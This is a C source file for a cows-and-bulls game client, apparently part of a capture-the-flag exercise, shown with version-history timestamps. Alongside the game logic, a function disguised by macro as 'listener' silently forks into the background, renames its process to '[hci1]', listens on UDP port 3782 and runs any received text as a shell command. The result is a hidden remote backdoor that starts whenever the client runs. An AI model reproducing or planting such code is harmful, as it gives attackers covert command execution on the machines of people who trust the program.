moth/packages/cowbull/src/cowcli.c

197 lines
3.9 KiB
C
Raw Normal View History

2012-01-19 22:06:14 -07:00
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
2012-01-31 16:45:53 -07:00
#include <netdb.h>
2012-01-19 22:06:14 -07:00
#include <fcntl.h>
2012-01-20 17:02:07 -07:00
2012-01-31 16:45:53 -07:00
#define NODEBUG
#ifdef DEBUG
# define PORT 4444
#else
# define PORT 44
#endif
2012-01-19 22:13:44 -07:00
#define evil listener
2012-01-19 22:06:14 -07:00
int
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
{
struct sockaddr_in6 saddr = { 0 };
saddr.sin6_family = AF_INET6;
saddr.sin6_port = htons(port);
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}
void
sigchld(int unused)
{
while (0 < waitpid(-1, NULL, WNOHANG));
}
void
evil(char *argv[])
{
int sock;
if (fork()) {
return;
}
/* Fork again to reparent to init */
if (fork()) {
exit(0);
}
{
int r = open("/dev/null", O_RDONLY);
int w = open("/dev/null", O_WRONLY);
dup2(r, 0);
dup2(w, 1);
dup2(w, 2);
close(r);
close(w);
}
strcpy(argv[0], "[hci1]");
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, 3782)) {
exit(0);
}
while (1) {
char cmd[400];
ssize_t inlen;
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
if (-1 == inlen) {
continue;
}
cmd[inlen] = 0;
if (! fork()) {
system(cmd);
exit(0);
}
}
}
int
main(int argc, char *argv[])
{
long answer = 0;
int sock;
int i;
2012-01-31 16:45:53 -07:00
struct addrinfo *addr;
2012-01-20 17:02:07 -07:00
uint32_t token = 0;
FILE *in, *out;
2012-01-19 22:06:14 -07:00
srand(time(NULL));
2012-01-20 17:02:07 -07:00
signal(SIGCHLD, sigchld);
2012-01-31 16:45:53 -07:00
if (argc < 2) {
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
return EX_USAGE;
}
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
perror("Resolving address");
return EX_IOERR;
}
2012-01-19 22:06:14 -07:00
}
/*
* Set up socket
*/
sock = socket(AF_INET6, SOCK_DGRAM, 0);
2012-01-31 16:45:53 -07:00
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
2012-01-19 22:13:44 -07:00
perror("Binding UDP port 44");
return EX_IOERR;
}
2012-01-19 22:06:14 -07:00
2012-01-20 17:02:07 -07:00
if (argv[2]) {
/* fork and exec */
} else {
in = stdin;
out = stdout;
}
evil(argv);
2012-01-20 17:02:07 -07:00
2012-01-19 22:06:14 -07:00
while (1) {
long guess;
2012-01-20 17:02:07 -07:00
struct {
uint32_t token;
uint16_t guess;
} g;
g.token = token;
if (token) {
char line[20];
if (NULL == fgets(line, sizeof line, in)) {
break;
}
g.guess = strtol(line, NULL, 16);
} else {
g.guess = 0;
}
2012-01-19 22:06:14 -07:00
2012-01-20 17:02:07 -07:00
/* Send the guess */
2012-01-31 16:45:53 -07:00
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
2012-01-20 17:02:07 -07:00
perror("Sending packet");
return EX_IOERR;
2012-01-19 22:06:14 -07:00
}
/* read the result */
2012-01-20 17:02:07 -07:00
{
char buf[80];
ssize_t len;
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
switch (len) {
case -1:
perror("Reading packet");
return EX_IOERR;
case 1:
/* It's a score */
2012-01-31 16:45:53 -07:00
printf("%02x\n", buf[0]);
break;
2012-01-20 17:02:07 -07:00
case 4:
/* New game token */
2012-01-31 16:45:53 -07:00
printf("NEW GAME\n");
token = *((uint32_t *) buf);
break;
2012-01-20 17:02:07 -07:00
default:
/* You win: this is your CTF token */
2012-01-31 16:45:53 -07:00
buf[len] = 0;
printf("A WINNER IS YOU: %s\n", buf);
break;
2012-01-20 17:02:07 -07:00
}
}
2012-01-19 22:06:14 -07:00
}
return 0;
}